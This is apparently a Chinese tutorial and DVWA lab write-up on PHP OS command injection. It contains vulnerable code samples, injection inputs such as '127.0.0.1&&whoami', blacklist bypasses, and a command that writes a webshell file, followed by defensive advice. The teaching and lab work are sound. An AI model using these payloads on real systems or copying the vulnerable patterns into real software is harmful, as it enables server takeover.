背景:程序员使用脚本语言(如PHP等)开发应用程序过程中,脚本语言开发十分快速、简洁、方便,但是也伴随着一些问题,比如速度慢、无法触及系统底层等。开发的应用时,特殊是企业级的一些应用需要去调用一些外部程序(系统命令或者exe等可执行文件),当应用需要调用一些外部程序时就会用到一些系统命令的函数。
OS命令注入:当应用在调用这些系统命令函数时,如果将用户的输入作为系统命令的参数拼接到命令中,在没有过滤用户输入的情况下,就会造成命令执行漏洞。
条件:
漏洞危害:
作用:该函数能够将字符串作为OS命令执行,自带输出功能。
原型:string system ( string $command [, int &$return_var ] )
。
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
system($cmd);
}else{
echo "Please submit cmd!
?cmd=ipconfig;";
}
?>
?cmd=ipconfig //将返回IP配置信息
?cmd=cd //查看当前目录
?cmd=systeminfo //返回系统信息
?cmd=whoami //
?cmd=net user //查看或新增用户等
?cmd=dir //将返回文件信息
?cmd=ping www.baidu.com //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
?cmd=type c:\windows\system32\drivers\etc\hosts //查看系统文件
?cmd=echo"">路径 //写入文件,可写入一句话木马等
作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。
原型:string exec ( string $command [, array &$output [, int &$return_var ]] )
。
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print exec($cmd);
}else{
echo "Please submit cmd!
?cmd=ipconfig;";
}
?>
作用:该函数能够将字符串作为OS命令执行,需要配合输出结果命令。一般应用最广泛
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print shell_exec($cmd);
}else{
echo "Please submit cmd!
?cmd=ipconfig;";
}
?>
作用:该函数能够将字符串作为OS命令执行,自带输出功能。
原型:void passthru ( string $command [, int &$return_var ] )
危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码。
例子:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
passthru($cmd);
}else{
echo "Please submit cmd!
?cmd=ipconfig;";
}
?>
作用:该函数能执行OS命令,返回的是一个文件指针。无论返回什么,我们关心的是命令被执行了。
特点:与其他函数不同的是,需要传入第二个参数作为第一个参数执行结果的存储文件。
例子:
<meta charset='gb2312'>
<?php
if (isset($_GET['cmd'])){
echo""
;
popen($_GET['cmd'],'r');
}else{
echo"?cmd=whoami";
}
?>
?cmd=ipconfig >>1.txt //将返回IP配置信息
?cmd=systeminfo >>1.txt //返回系统信息
?cmd=whoami >>1.txt //
?cmd=net user >>1.txt //查看或新增用户等
?cmd=dir >>1.txt //将返回文件信息
?cmd=ping www.baidu.com >>1.txt //执行ping命令,没结束前是不会返回结果。在Windows系统上默认ping 4次,但是在linux系统上将默认一直ping。
作用:反引号内[
]的字符串也会被解析成OS命令执行,需要配合输出结果命令。
注意:
例子:
<?php
if(isset($_GET['cmd'])){
$cmd=$_GET['cmd'];
print `($cmd)`;
}else{
echo "Please submit cmd!
?cmd=ipconfig;";
}
?>
OS 命令注入漏洞,攻击者直接继承Web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows 系统下测试成功。
采用真实机访问system.php,其中提交参数?cmd=type c:\windows\system32\drivers\etc\hosts
,查看系统hosts 文件。
采用真实机访问system.php,其中提交参数?cmd=cd
(1)采用真实机访问system.php,其中提交参数?cmd=echo "" > C:\phpStudy\PHPTutorial\WWW\Command\shell.php
(2)页面没有报错,访问shell.php 文件,验证文件是否写入成功
(1)尽量减少命令执行函数的使用,并在disable_functions中禁用(php.ini配置文件中的disable_functions设置);
(2)在进入命令执行函数或方法前,应对参数进行过滤;
(3)参数的值尽量使用引号进行包裹,并在拼接调用前调用addslashes进行转义。
(1)结合SQL注入、XSS漏洞、PHP语句注入等实验,加深理解注入语句的构造与绕过思路;
(2)掌握OS命令注入漏洞的检验与利用方法;
(3)加强代码审计能力。
靶机:win2008虚拟机,部署WAMP环境,并搭建DVWA靶场。虚拟机系统安装及WAMP部署方法参考文章《【语言环境】WAMP环境部署及优化—以win2008R2SP1为操作系统》,DVWA靶场的搭建参考《【环境搭建-02】基于WAMP环境的DVWA漏洞靶场的搭建》
真实机:win10系统。
Windows 系例支持的多语句执行如下:
Linux系统支持的多语句执行如下:
尝试对不同安全级别的OS命令注入漏洞进行渗透,同时结合其代码审计互相印证学习。
(1)打开DVWA靶场(登录账号默认是admin,密码是password。),并将难度级别设置为low
(2)当输入IP地址为127.0.0.1
并点击submit时,回显内容为ping的结果。对此,我们推断该处输入参数能带入到后台执行,并回显内容,可能存在注入点。在我们参数输入位置前,应该是有ping命令。
(3)我们采用语句whoami对网站及后台进行无损检测,更换为其他命令可实施攻击。修改参数为127.0.0.1&&whoami
(127.0.0.1是为了使前面的ping闭合,&&为与),回显结果如下,可以看到成功注入出系统信息。
(4)这是几个注入语句的测试结果对比,可以注入语句可能还有更多:
127.0.0.1&&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1;whoami //执行失败,从cmd运行结果看似乎分号不能分隔开两个语句
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
(5)代码审计,可以看到该网页采用了shell_exec函数,同时,参数没有任何过滤。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
(1)将DVWA靶场的难度级别设置为medium
(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //成功执行并返回ping的信息和whoami的信息
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //成功执行,仅返回whoami信息。
127.0.0.0.1||whoami //故意输入一个错误的IP,让程序执行或运算符后面的语句。
(3)代码审计,从其代码分析,在参数输入后对&&和;都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
(1)将DVWA靶场的难度级别设置为high
(2)在low级别的基础上,测试其可行注入语句在medium级别的运行情况。
127.0.0.1&&whoami //执行失败,从显示错误信息判断可能是&&被过滤
127.0.0.1&whoami //执行失败,从显示错误信息判断可能是&被过滤
127.0.0.1|whoami //成功执行,仅返回whoami信息。
127.0.0.1| whoami //执行失败,从显示错误信息判断可能是| 被过滤
127.0.0.0.1||whoami //执行失败,从显示错误信息判断可能是||被过滤
(3)代码审计,从其代码分析,在参数输入后对多种符号都过滤掉了。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
?>
(1)将DVWA靶场的难度级别设置为impossible
(2)代码审计,该级别的代码过滤原则采用的是“满足才给过”,而不是前两关的“满足黑名单就过滤”的原则,因此无法注入其他命令骗其执行。但是该代码的书写方式也限制了用户的输入,比如ping域名则无法ping通。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "{$cmd}
";
}
else {
// Ops. Let the user name theres a mistake
echo 'ERROR: You have entered an invalid IP.
';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
(1)了解可能引起OS命令注入的函数;
(2)掌握这些函数的使用方法;
(3)了解常用的防御方法。
(4)了解OS命令注入的绕过思路。